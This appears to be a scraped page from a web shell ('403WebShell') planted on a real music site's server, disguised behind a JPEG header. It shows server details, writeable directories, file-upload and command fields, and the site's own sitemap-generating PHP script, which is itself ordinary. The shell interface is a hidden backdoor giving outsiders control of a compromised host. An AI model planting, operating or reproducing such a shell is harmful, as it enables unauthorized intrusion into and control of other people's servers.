����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 162.0.232.25  /  Your IP : 18.191.189.164
Web Server : LiteSpeed
System : Linux premium276.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : kwacuqig ( 988)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/kwacuqig/redlighttunes.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/kwacuqig/redlighttunes.com/sitemap.php
<?php
include './php/connect.php';
include './php/filterFile.php';

$lastmod = date('c');

$data_xml = '<?xml version="1.0" encoding="UTF-8"?>';
$data_xml .= "\n";
$data_xml .= '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">';

$data_xml .= "
    <url>
        <loc>https://redlighttunes.com</loc>
        <lastmod>$lastmod</lastmod>
        <priority>1.00</priority>
    </url>
";

//Static URLs
$static_url = ['home', 'c=singles', 'c=artists', 'c=albums', 'c=news', 'c=videos', 'c=ads', 'contacts', 'about'];
foreach ($static_url as $url) {
    $data_xml .= "
    <url>
        <loc>https://redlighttunes.com/$url</loc>
        <lastmod>$lastmod</lastmod>
        <priority>0.90</priority>
    </url>
    ";
}

//Dynamic URLs

//Singles
$query = "SELECT * FROM `singles` ORDER BY `id` DESC";
$run = mysqli_query($conn, $query) or die(mysqli_error($conn));
while ($row = mysqli_fetch_array($run)) {
    $id = $row['id'];
    $artist_url = str_replace(' ', '-', strtolower($row['artist']));
    $title_url = str_replace(' ', '-', strtolower($row['title']));
    $song = "single=$id-$title_url-by-$artist_url";
    $data_xml .= "
    <url>
        <loc>https://redlighttunes.com/$song</loc>
        <lastmod>$lastmod</lastmod>
        <priority>0.90</priority>
    </url>
    ";
}

//Albums
$query = "SELECT * FROM `albums` ORDER BY `id` DESC";
$run = mysqli_query($conn, $query) or die(mysqli_error($conn));
while ($row = mysqli_fetch_array($run)) {
    $id = $row['id'];
    $artist_url = str_replace(' ', '-', strtolower($row['artist']));
    $title_url = str_replace(' ', '-', strtolower($row['title']));
    $album = $row['type'] . "~$id-$title_url-by-$artist_url";
    $data_xml .= "
    <url>
        <loc>https://redlighttunes.com/$album</loc>
        <lastmod>$lastmod</lastmod>
        <priority>0.80</priority>
    </url>
    ";
}

//Artists
$query = "SELECT * FROM `artists` ORDER BY `id` DESC";
$run = mysqli_query($conn, $query) or die(mysqli_error($conn));
while ($row = mysqli_fetch_array($run)) {
    $id = $row['id'];
    $artist = "artist=$id-$artist";

    $data_xml .= "
    <url>
        <loc>https://redlighttunes.com/$artist</loc>
        <lastmod>$lastmod</lastmod>
        <priority>0.80</priority>
    </url>
    ";
}

//News
$query = "SELECT * FROM `news` ORDER BY `nid` DESC";
$run = mysqli_query($conn, $query) or die(mysqli_error($conn));
while ($row = mysqli_fetch_array($run)) {
    $article = 'article.php?id=' . $row['nid'];
    $data_xml .= "
    <url>
        <loc>https://redlighttunes.com/$article</loc>
        <lastmod>$lastmod</lastmod>
        <priority>0.80</priority>
    </url>
    ";
}

$data_xml .= '</urlset>';

//File Handling
$file = fopen('sitemap.xml', 'w');
fwrite($file, $data_xml);
fclose($file);

header('location:home');

Youez - 2016 - github.com/yon3zu
LinuXploit